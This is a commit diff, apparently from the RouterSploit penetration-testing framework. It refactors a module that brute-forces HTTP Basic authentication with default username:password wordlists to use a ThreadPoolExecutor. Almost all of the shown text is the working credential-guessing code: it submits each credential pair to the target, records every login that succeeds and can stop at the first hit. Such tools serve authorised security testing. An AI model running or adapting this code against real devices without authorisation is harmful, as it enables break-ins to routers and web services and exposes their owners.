Commit a8c5cb03 by fwkz

Refactoring creds/http_basic_default with ThreadPoolExecutor.

parent 02355bce
...@@ -5,15 +5,17 @@ from routersploit import ( ...@@ -5,15 +5,17 @@ from routersploit import (
wordlists, wordlists,
print_status, print_status,
print_error, print_error,
LockedIterator,
print_success, print_success,
print_table, print_table,
sanitize_url,
boolify, boolify,
http_request, http_request,
multi, multi,
validators,
) )
from routersploit.exceptions import StopThreadPoolExecutor
from routersploit.threads import ThreadPoolExecutor
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
""" """
...@@ -35,7 +37,7 @@ class Exploit(exploits.Exploit): ...@@ -35,7 +37,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)', validators=validators.url)
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
...@@ -51,7 +53,7 @@ class Exploit(exploits.Exploit): ...@@ -51,7 +53,7 @@ class Exploit(exploits.Exploit):
@multi @multi
def attack(self): def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) url = "{}:{}{}".format(self.target, self.port, self.path)
response = http_request("GET", url) response = http_request("GET", url)
if response is None: if response is None:
...@@ -66,8 +68,10 @@ class Exploit(exploits.Exploit): ...@@ -66,8 +68,10 @@ class Exploit(exploits.Exploit):
else: else:
defaults = [self.defaults] defaults = [self.defaults]
collection = LockedIterator(defaults) with ThreadPoolExecutor(self.threads) as executor:
self.run_threads(self.threads, self.target_function, collection) for record in defaults:
username, password = record.split(':')
executor.submit(self.target_function, username, password)
if self.credentials: if self.credentials:
print_success("Credentials found!") print_success("Credentials found!")
...@@ -78,30 +82,20 @@ class Exploit(exploits.Exploit): ...@@ -78,30 +82,20 @@ class Exploit(exploits.Exploit):
defaults.close() defaults.close()
def target_function(self, running, data): def target_function(self, user, password):
module_verbosity = boolify(self.verbosity) module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name name = threading.current_thread().name
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) url = "{}:{}{}".format(self.target, self.port, self.path)
print_status(name, 'process is starting...', verbose=module_verbosity)
while running.is_set():
try:
line = data.next().split(":")
user = line[0].encode('utf-8').strip()
password = line[1].encode('utf-8').strip()
response = http_request(method="GET", url=url, auth=(user, password)) user = user.encode('utf-8').strip()
password = password.encode('utf-8').strip()
if response.status_code != 401: response = http_request(method="GET", url=url, auth=(user, password))
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) if response.status_code != 401:
self.credentials.append((self.target, self.port, user, password)) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: self.credentials.append((self.target, self.port, user, password))
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) if boolify(self.stop_on_success):
except StopIteration: raise StopThreadPoolExecutor
break else:
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
print_status(name, 'process is terminated.', verbose=module_verbosity)
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment